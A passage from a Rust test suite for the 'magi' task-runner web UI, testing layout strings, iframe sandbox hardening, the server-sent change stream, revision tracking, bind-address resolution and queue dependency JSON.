20415 fn wide_screens_show_list_and_preview_side_by_side() {
20416 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20418 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20419 assert!(APP_CSS.contains("main[data-split]"));
20420 assert!(APP_CSS.contains("body[data-split]"));
20421
20422 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20424 assert!(
20425 APP_JS.contains(
20426 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20427 )
20428 );
20429 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20430 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20431 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20432
20433 assert!(APP_JS.contains("function markSelected() {"));
20435 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20436 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20437 assert!(
20439 APP_CSS.contains(
20440 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20441 )
20442 );
20443
20444 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20446 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20447 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20448 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20449
20450 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20454 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20455 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20456 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20457
20458 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20460 }
20461
20462 #[test]
20463 fn panel_sandbox_carries_exactly_popups() {
20464 let needle = "sandbox: \"";
20465 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20466 assert_eq!(
20467 matches.len(),
20468 1,
20469 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20470 );
20471 let start = matches[0].0 + needle.len();
20472 let end = APP_JS[start..]
20473 .find('"')
20474 .expect("sandbox attribute value must be terminated by a closing quote");
20475 let val = &APP_JS[start..start + end];
20476 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20477 let expected: std::collections::BTreeSet<&str> =
20478 ["allow-popups", "allow-popups-to-escape-sandbox"]
20479 .into_iter()
20480 .collect();
20481 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20482 assert!(
20483 !tokens.contains("allow-scripts"),
20484 "allow-scripts must never be present in sandbox"
20485 );
20486 assert!(
20487 !tokens.contains("allow-same-origin"),
20488 "allow-same-origin must never be present in sandbox"
20489 );
20490 }
20491
20492 #[test]
20493 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20494 assert!(
20503 APP_JS.contains(
20504 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20505 ),
20506 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20507 recursive renderQueue() call has nothing left to jump to"
20508 );
20509 assert!(
20510 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20511 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20512 arrives later still gets it"
20513 );
20514 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20515 assert!(APP_JS.contains("is not in the current Backlog."));
20516 assert!(APP_JS.contains("li.card[data-task-id=\""));
20517 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20518 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20519 assert!(APP_CSS.contains(".card-permalink"));
20520 assert!(APP_CSS.contains(".queue-focus-status"));
20521 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20522 }
20523
20524 #[test]
20525 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20526 assert!(
20534 APP_JS.contains(
20535 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20536 ),
20537 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20538 );
20539 }
20540
20541 #[test]
20542 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20543 assert!(
20544 APP_JS.contains("round.verified_head !== round.head"),
20545 "a round that verified an earlier commit must be visibly distinct from one that \
20546 verified the head reviewers are looking at now"
20547 );
20548 assert!(
20549 APP_JS.contains("round.verified_at"),
20550 "when a check ran must be on the wire, not just which commit"
20551 );
20552 assert!(
20553 APP_JS.contains("resource_blocked"),
20554 "a command magi never got to run (shared build cache contention) must not render \
20555 the same as a command that ran and failed"
20556 );
20557 }
20558
20559 #[test]
20560 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20561 assert!(
20569 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20570 "every KPI tile built through statusTile() must route its click through \
20571 openRunsFiltered, the single place that sets the Runs filter"
20572 );
20573 for (label, status) in [
20574 ("Merged", "merged"),
20575 ("Ready", "ready"),
20576 ("Blocked", "blocked"),
20577 ("Stalled", "stalled"),
20578 ] {
20579 let call = format!("statusTile(\"{label}\", t.{status}, ");
20580 assert!(
20581 APP_JS.contains(&call),
20582 "expected the {label} KPI tile built via {call}..."
20583 );
20584 assert!(
20585 APP_JS.contains(&format!("status === \"{status}\"")),
20586 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20587 compare a run against, not one invented only for the stats tile"
20588 );
20589 }
20590 assert!(
20591 APP_JS.contains("function openRunsFiltered(status)"),
20592 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20593 );
20594 assert!(
20595 APP_JS.contains(
20596 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20597 ),
20598 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20599 );
20600 assert!(
20608 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20609 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20610 hashchange event that may never fire"
20611 );
20612 }
20613
20614 #[test]
20615 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20616 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20622 assert!(
20623 APP_JS.contains(
20624 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20625 ),
20626 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20627 guard for an incompatible tree section"
20628 );
20629 }
20630
20631 #[test]
20632 fn every_stats_queue_tile_names_a_real_queue_section() {
20633 assert!(
20639 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20640 "every queue tile built through sectionTile() must route its click through \
20641 openQueueSectionFocus"
20642 );
20643 for key in ["upnext", "running", "done", "held", "blocked"] {
20644 assert!(
20645 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20646 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20647 );
20648 }
20649 for line in [
20653 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20654 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20655 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20656 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20657 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20658 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20659 ] {
20660 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20661 }
20662 }
20663
20664 #[test]
20665 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20666 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20673 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20674 assert!(APP_JS.contains("function revealQueueSection(details)"));
20675 assert!(
20676 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20677 "renderQueue() must consume both focus channels on every pass"
20678 );
20679 assert!(
20680 APP_JS.contains(
20681 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20682 ),
20683 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20684 the recursive renderQueue() call has nothing left to reveal"
20685 );
20686 assert!(
20687 APP_JS.contains(
20688 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20689 ),
20690 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20691 );
20692 assert!(
20700 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20701 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20702 hashchange event that may never fire"
20703 );
20704 }
20705
20706 #[tokio::test]
20707 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20708 let f = Fixture::start().await;
20709
20710 let mut socket = tokio::net::TcpStream::connect(f.addr)
20711 .await
20712 .expect("connect");
20713 socket
20714 .write_all(
20715 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20716 )
20717 .await
20718 .expect("write request");
20719
20720 let mut seen = String::new();
20723 let mut buf = [0u8; 1024];
20724 while !seen.contains("event: change") {
20725 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20726 .await
20727 .expect("the stream must speak within five seconds")
20728 .expect("read");
20729 assert!(read > 0, "the server closed the change stream: {seen}");
20730 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20731 }
20732
20733 assert!(
20734 seen.to_lowercase()
20735 .contains("content-type: text/event-stream"),
20736 "the browser only reconnects automatically for a real SSE stream: {seen}"
20737 );
20738 let data = seen
20739 .lines()
20740 .find_map(|l| l.strip_prefix("data:"))
20741 .expect("a data line");
20742 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20743 assert!(
20744 payload["queue_rev"].is_u64()
20745 && payload["runs_rev"].is_u64()
20746 && payload["questions_rev"].is_u64()
20747 && payload["talks_rev"].is_u64()
20748 && payload["notifications_rev"].is_u64()
20749 && payload["loop_rev"].is_u64(),
20750 "the client needs one revision per store to know what to refetch, \
20751 and `talks_rev` is the only notification a standing talk gets - a \
20752 phone whose radio slept through a turn learns about it here, as \
20753 does one whose operator started the loop from another device: \
20754 {payload}"
20755 );
20756
20757 let health = f.get("/api/health").await.json();
20764 for key in [
20765 "queue_rev",
20766 "runs_rev",
20767 "questions_rev",
20768 "talks_rev",
20769 "notifications_rev",
20770 "loop_rev",
20771 ] {
20772 assert!(
20773 health[key].is_u64(),
20774 "health is the change stream's fallback and is missing `{key}`: {health}"
20775 );
20776 }
20777 }
20778
20779 #[tokio::test]
20780 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20781 let f = Fixture::start().await;
20782 let before = f.get("/api/health").await.json()["talks_rev"]
20783 .as_u64()
20784 .expect("talks_rev");
20785
20786 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20787 std::thread::sleep(Duration::from_millis(10));
20788 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20789 on_disk.turns.push(crate::talk::Turn {
20790 sender: None,
20791 breaks: Some(Vec::new()),
20792 messages: Vec::new(),
20793 posted_by: None,
20794 who: crate::talk::Who::Operator,
20795 body: "a new turn".to_owned(),
20796 at: Timestamp::now(),
20797 attachments: Vec::new(),
20798 usage: None,
20799 });
20800 f.talks().put(&mut on_disk).expect("record a turn");
20801
20802 let after = tokio::time::timeout(Duration::from_secs(5), async {
20803 loop {
20804 let revision = f.get("/api/health").await.json()["talks_rev"]
20805 .as_u64()
20806 .unwrap();
20807 if revision != before {
20808 break revision;
20809 }
20810 tokio::time::sleep(Duration::from_millis(50)).await;
20811 }
20812 })
20813 .await
20814 .expect("shared monitor observes external turn");
20815 assert_ne!(
20816 before, after,
20817 "a phone must be able to notice a talk's reply without polling every store"
20818 );
20819 }
20820
20821 #[test]
20822 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20823 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20827 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20828 }
20829 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20830 assert!("everywhere".parse::<Bind>().is_err());
20831 }
20832
20833 #[test]
20834 fn an_explicit_bind_address_is_taken_verbatim() {
20835 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20836
20837 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20838
20839 assert_eq!(addr, asked);
20840 assert!(
20841 warning.is_none(),
20842 "an operator who named an address gets no lecture"
20843 );
20844 }
20845
20846 #[test]
20847 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20848 let (addr, warning) = resolve_bind(&Bind::Auto);
20849
20850 match addr {
20857 IpAddr::V4(ip) if is_tailnet(&ip) => {
20858 assert!(warning.is_none(), "a tailnet address needs no warning");
20859 }
20860 other => {
20861 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20862 let warning = warning.expect("a fallback has to explain itself");
20863 assert!(
20864 warning.contains("127.0.0.1") && warning.contains("local-only"),
20865 "the warning says what happened and what it costs: {warning}"
20866 );
20867 }
20868 }
20869 }
20870
20871 #[test]
20872 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20873 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20877 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20878 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20879 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20880 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20881 }
20882
20883 #[test]
20884 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20885 let ids = vec![
20886 "20260902-140501-aaaa".to_owned(),
20887 "20260902-140502-aabb".to_owned(),
20888 ];
20889
20890 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20891 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20892 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20893
20894 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20895 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20896 assert_eq!(short, "20260902-140502-aabb");
20897 }
20898 #[tokio::test]
20899 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20900 let fx = Fixture::start().await;
20906 let id = panel(
20907 &fx,
20908 "<img src=\"shot.png\">",
20909 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20910 );
20911
20912 let doc = fx
20914 .get(&format!("/api/questions/{id}/panel/index.html"))
20915 .await;
20916 assert_eq!(doc.status, 200, "{}", doc.body);
20917 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20918
20919 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20920 assert_eq!(sibling.status, 200, "{}", sibling.body);
20921 assert_eq!(sibling.header("content-type"), Some("image/png"));
20922 assert_eq!(
20923 sibling.header("content-security-policy"),
20924 Some(PANEL_CSP),
20925 "the sibling route must carry the same policy as the asset route"
20926 );
20927
20928 assert_eq!(
20931 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20932 200
20933 );
20934 }
20935
20936 #[test]
20937 fn delta_stamps_cover_add_update_remove_and_noop() {
20938 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20939 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20940 let delta = diff_stamps(&before, &after, 42);
20941 assert_eq!(delta.base, 42);
20942 assert_eq!(delta.changed, ["b", "c"]);
20943 assert_eq!(delta.removed, ["a"]);
20944 let same = diff_stamps(&after, &after, 43);
20945 assert!(same.changed.is_empty() && same.removed.is_empty());
20946 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20947 let nanos: Stamps = [("b".into(), (2, 20))].into();
20948 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20949 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20950 assert_eq!(stamps_revision(&Stamps::new()), 0);
20951 }
20952
20953 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20954 std::fs::create_dir_all(home.join("runs")).unwrap();
20955 Arc::new(
20956 Ui::new(
20957 Queue::at(home.join("queue")),
20958 Questions::at(home.join("questions")),
20959 Talks::at(home.join("talks")),
20960 home.join("runs"),
20961 home.to_owned(),
20962 PathBuf::from("/repo/magi"),
20963 )
20964 .with_worktrees_root(home.join("wt")),
20965 )
20966 }
20967
20968 #[test]
20969 fn monitor_scan_isolates_store_failures_and_recovers() {
20970 let home = TempDir::new().unwrap();
20971 let ui = delta_test_ui(home.path());
20972 std::fs::create_dir_all(ui.questions.root()).unwrap();
20973 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20974 let before = monitor_scan(&ui, None);
20975 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20976 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20977 std::fs::create_dir_all(ui.talks.root()).unwrap();
20978 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20979 let during = monitor_scan(&ui, Some(before.clone()));
20980 assert_eq!(during.0.2, before.0.2);
20981 assert_ne!(during.0.3, before.0.3);
20982 assert!(during.1[2].contains_key("new"));
20983 std::fs::remove_file(ui.questions.root()).unwrap();
20984 let after = monitor_scan(&ui, Some(during));
20985 assert_eq!(after.0.2, 0);
20986 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20987 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20989 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20990 }
20991
20992 #[tokio::test]
20993 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20994 let home = TempDir::new().unwrap();
20995 let ui = delta_test_ui(home.path());
20996 let mut task = Task::new(
20997 "stream task".into(),
20998 "text".into(),
20999 PathBuf::from("/repo"),
21000 Source::Human,
21001 );
21002 ui.queue.put(&mut task).unwrap();
21003 let response = events(State(ui.clone())).await.into_response();
21004 let mut stream = response.into_body().into_data_stream();
21005 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21006 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21007 .await
21008 .unwrap()
21009 .unwrap()
21010 .unwrap();
21011 let text = String::from_utf8(chunk.to_vec()).unwrap();
21012 let data = text
21013 .lines()
21014 .find_map(|line| {
21015 line.strip_prefix("data: ")
21016 .or_else(|| line.strip_prefix("data:"))
21017 })
21018 .unwrap();
21019 serde_json::from_str(data).unwrap()
21020 }
21021 let initial = change(&mut stream).await;
21022 assert!(initial.get("queue_delta").is_none());
21023 task.instruction.push_str(" changed");
21024 ui.queue.put(&mut task).unwrap();
21025 let updated = change(&mut stream).await;
21026 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21027 assert_eq!(
21028 updated["queue_delta"]["changed"],
21029 serde_json::json!([task.id])
21030 );
21031 assert_eq!(
21032 updated["queue_rev"].as_u64(),
21033 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21034 );
21035 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21036 let removed = change(&mut stream).await;
21037 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21038 assert_eq!(
21039 removed["queue_delta"]["removed"],
21040 serde_json::json!([task.id])
21041 );
21042 }
21043
21044 #[tokio::test]
21045 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21046 let home = TempDir::new().unwrap();
21047 let ui = delta_test_ui(home.path());
21048 let queue = ui.queue.clone();
21049 let query = |ids: Option<&str>| {
21050 Query(ListQuery {
21051 limit: Some(2),
21052 ids: ids.map(str::to_owned),
21053 })
21054 };
21055 let mut root = Task::new(
21056 "root".into(),
21057 "instruction".into(),
21058 PathBuf::from("/repo"),
21059 Source::Human,
21060 );
21061 queue.put(&mut root).unwrap();
21062 let mut blocked = Task::new(
21063 "blocked".into(),
21064 "instruction".into(),
21065 PathBuf::from("/repo"),
21066 Source::Human,
21067 );
21068 blocked.block(vec![root.id.clone()], None);
21069 queue.put(&mut blocked).unwrap();
21070 let whole =
21071 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21072 .unwrap();
21073 let subset = serde_json::to_value(
21074 queue_list(State(ui.clone()), query(Some(&root.id)))
21075 .await
21076 .unwrap()
21077 .0,
21078 )
21079 .unwrap();
21080 assert_eq!(whole, subset, "requested root plus its blocked dependent");
21081 let blockers = serde_json::to_value(
21082 queue_list(State(ui.clone()), query(Some("")))
21083 .await
21084 .unwrap()
21085 .0,
21086 )
21087 .unwrap();
21088 assert_eq!(blockers.as_array().unwrap().len(), 1);
21089 assert_eq!(blockers[0]["id"], blocked.id);
21090 assert_eq!(
21091 blockers[0]["waits_on"],
21092 whole
21093 .as_array()
21094 .unwrap()
21095 .iter()
21096 .find(|row| row["id"] == blocked.id)
21097 .unwrap()["waits_on"]
21098 );
21099
21100 for id in [
21101 "20260902-140501-aaaa",
21102 "20260902-140502-bbbb",
21103 "20260902-140503-cccc",
21104 ] {
21105 write_run(&ui.runs, id, RunStatus::Merged);
21106 }
21107 let old = serde_json::to_value(
21108 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21109 .await
21110 .unwrap()
21111 .0,
21112 )
21113 .unwrap();
21114 assert!(
21115 old.as_array().unwrap().is_empty(),
21116 "older updates must not enter the window"
21117 );
21118 let newest = serde_json::to_value(
21119 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21120 .await
21121 .unwrap()
21122 .0,
21123 )
21124 .unwrap();
21125 assert_eq!(newest.as_array().unwrap().len(), 1);
21126 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21127
21128 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21129 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21130 let talks = serde_json::to_value(
21131 talks_list(
21132 State(ui.clone()),
21133 query(Some("20260905-000000-d4e5")),
21134 header::HeaderMap::new(),
21135 )
21136 .await
21137 .unwrap()
21138 .0,
21139 )
21140 .unwrap();
21141 assert_eq!(talks.as_array().unwrap().len(), 1);
21142 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21143 assert_eq!(
21144 serde_json::to_value(
21145 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21146 .await
21147 .unwrap()
21148 .0
21149 )
21150 .unwrap(),
21151 serde_json::json!([])
21152 );
21153 }
21154
21155 #[tokio::test]
21156 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21157 async fn delta_payload_benchmark() {
21158 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21159 let ui = delta_test_ui(&home);
21160 let query = |ids: Option<String>| {
21161 Query(ListQuery {
21162 limit: Some(50),
21163 ids,
21164 })
21165 };
21166 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21167 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21168 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21169 .await
21170 .unwrap()
21171 .0;
21172 let queue_id = queue
21173 .iter()
21174 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21175 .unwrap_or(&queue[0])
21176 .task
21177 .id
21178 .clone();
21179 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21180 .await
21181 .unwrap()
21182 .0;
21183 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21184 .await
21185 .unwrap()
21186 .0;
21187 let talks_delta = talks_list(
21188 State(ui.clone()),
21189 query(Some(talks[0].id.clone())),
21190 header::HeaderMap::new(),
21191 )
21192 .await
21193 .unwrap()
21194 .0;
21195 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21196 eprintln!(
21197 "DELTA_PAYLOAD {}",
21198 serde_json::json!({
21199 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21200 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21201 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21202 "counts": [queue.len(), runs.len(), talks.len()],
21203 "blocked": queue_delta.len() - 1,
21204 })
21205 );
21206 }
21207
21208 #[test]
21209 fn runs_revision_moves_when_deleting_an_older_run() {
21210 let temp = TempDir::new().expect("tempdir");
21211 let runs = temp.path().join("runs");
21212 std::fs::create_dir_all(&runs).expect("create runs dir");
21213
21214 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21215
21216 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21217 std::thread::sleep(Duration::from_millis(10));
21218 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21219
21220 let rev_before = runs_revision(&runs);
21221 assert!(rev_before > 0);
21222
21223 let old_dir = runs.join("20260901-100000-old1");
21224 std::fs::remove_dir_all(&old_dir).expect("remove old run");
21225
21226 let rev_after = runs_revision(&runs);
21227 assert_ne!(
21228 rev_before, rev_after,
21229 "deleting an older run must change the revision so other clients see the deletion"
21230 );
21231 }
21232
21233 fn write_state(runs: &FsPath, state: &RunState) {
21238 let dir = runs.join(&state.id);
21239 std::fs::create_dir_all(&dir).expect("run dir");
21240 std::fs::write(
21241 dir.join("run.json"),
21242 serde_json::to_string_pretty(state).expect("serialize run"),
21243 )
21244 .expect("write run.json");
21245 }
21246
21247 #[test]
21252 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21253 let temp = TempDir::new().expect("tempdir");
21254 let runs = temp.path().join("runs");
21255 std::fs::create_dir_all(&runs).expect("create runs dir");
21256 let mut state = RunState::new(
21257 PathBuf::from("/repo/magi"),
21258 "main".to_owned(),
21259 "0123456789abcdef".to_owned(),
21260 "task".to_owned(),
21261 Config::default(),
21262 );
21263 state.id = "20260902-100000-c0de".to_owned();
21264 write_state(&runs, &state);
21265
21266 let rev_idle = runs_revision(&runs);
21267 std::thread::sleep(Duration::from_millis(10));
21268 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21269 write_state(&runs, &state);
21270 let rev_started = runs_revision(&runs);
21271 assert_ne!(
21272 rev_idle, rev_started,
21273 "a seat starting must move the revision"
21274 );
21275
21276 std::thread::sleep(Duration::from_millis(10));
21277 state.seat_finished("judge-1");
21278 write_state(&runs, &state);
21279 let rev_finished = runs_revision(&runs);
21280 assert_ne!(
21281 rev_started, rev_finished,
21282 "and clearing it again must move the revision a second time"
21283 );
21284 }
21285
21286 #[tokio::test]
21287 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21288 let fx = Fixture::start().await;
21293 let q = fx.queue();
21294
21295 let mut t = Task::new(
21296 "Task".to_owned(),
21297 "Instruction".to_owned(),
21298 PathBuf::from("/repo"),
21299 Source::Human,
21300 );
21301 t.block(
21302 vec!["20260101-000000-dead".to_owned()],
21303 Some("waiting on Task 1".to_owned()),
21304 );
21305 t.answers.push(crate::queue::AnsweredQuestion {
21306 question: "Which backend?".to_owned(),
21307 answer: "SQLite".to_owned(),
21308 });
21309 q.put(&mut t).expect("put t");
21310
21311 let res = fx.get("/api/queue").await;
21312 assert_eq!(res.status, 200);
21313 let list = res.json();
21314 let view = list
21315 .as_array()
21316 .expect("array")
21317 .iter()
21318 .find(|v| v["id"] == t.id)
21319 .expect("task in list");
21320 assert_eq!(view["status_str"], "blocked");
21321 assert_eq!(
21322 view["blocked_by"],
21323 serde_json::json!(["20260101-000000-dead"])
21324 );
21325 assert_eq!(view["block_reason"], "waiting on Task 1");
21326 assert_eq!(view["answers"][0]["question"], "Which backend?");
21327 assert_eq!(view["answers"][0]["answer"], "SQLite");
21328
21329 let res = fx
21333 .post(&format!("/api/queue/{}/hold", t.short()), None)
21334 .await;
21335 assert_eq!(res.status, 200);
21336 let held = res.json();
21337 assert_eq!(held["status_str"], "held");
21338 assert_eq!(held["blocked_by"], serde_json::json!([]));
21339 assert!(held["block_reason"].is_null());
21340 assert_eq!(held["answers"][0]["answer"], "SQLite");
21341 }
21342
21343 #[tokio::test]
21344 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21345 let fx = Fixture::start().await;
21346 let q = fx.queue();
21347 let mk = |title: &str| {
21348 Task::new(
21349 title.to_owned(),
21350 "Instruction".to_owned(),
21351 PathBuf::from("/repo"),
21352 Source::Human,
21353 )
21354 };
21355 let mut root = mk("root");
21356 root.hold_manual(Some("waiting".to_owned()));
21357 q.put(&mut root).unwrap();
21358 let mut mid = mk("mid");
21359 mid.block(vec![root.id.clone()], None);
21360 q.put(&mut mid).unwrap();
21361 let mut leaf = mk("leaf");
21362 leaf.block(vec![mid.id.clone()], None);
21363 q.put(&mut leaf).unwrap();
21364
21365 let list = fx.get("/api/queue").await.json();
21366 let find = |id: &str| {
21367 list.as_array()
21368 .unwrap()
21369 .iter()
21370 .find(|v| v["id"] == id)
21371 .unwrap()
21372 .clone()
21373 };
21374 let leaf_view = find(&leaf.id);
21375 assert_eq!(
21376 leaf_view["waits_on"],
21377 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21378 );
